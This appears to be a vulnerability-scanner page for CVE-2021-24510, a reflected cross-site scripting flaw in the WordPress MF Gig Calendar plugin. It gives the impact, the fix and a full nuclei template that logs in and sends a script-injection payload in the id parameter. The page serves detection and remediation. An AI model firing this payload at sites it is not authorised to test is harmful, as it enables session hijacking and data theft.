WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.

Fix

Update to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="></script><script>alert(document.domain)</script><"
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24510 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-24510

info:
  name: WordPress MF Gig Calendar <=1.1 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress MF Gig Calendar plugin 1.1 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize or escape the id GET parameter before outputting back in the admin dashboard when editing an event.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Update to the latest version of WordPress MF Gig Calendar plugin (>=1.2) which includes proper input sanitization and validation.
  reference:
    - https://wpscan.com/vulnerability/715721b0-13a1-413a-864d-2380f38ecd39
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24510
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24510
    cwe-id: CWE-79
    epss-score: 0.02819
    epss-percentile: 0.86678
    cpe: cpe:2.3:a:mf_gig_calendar_project:mf_gig_calendar:*:*:*:*:wordpress:*:*:*
  metadata:
    max-request: 2
    vendor: mf_gig_calendar_project
    product: mf_gig_calendar
  tags: cve2021,cve,wp-plugin,authenticated,wpscan,wordpress,mf_gig_calendar_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=mf_gig_calendar&action=edit&id="></script><script>alert(document.domain)</script><" HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

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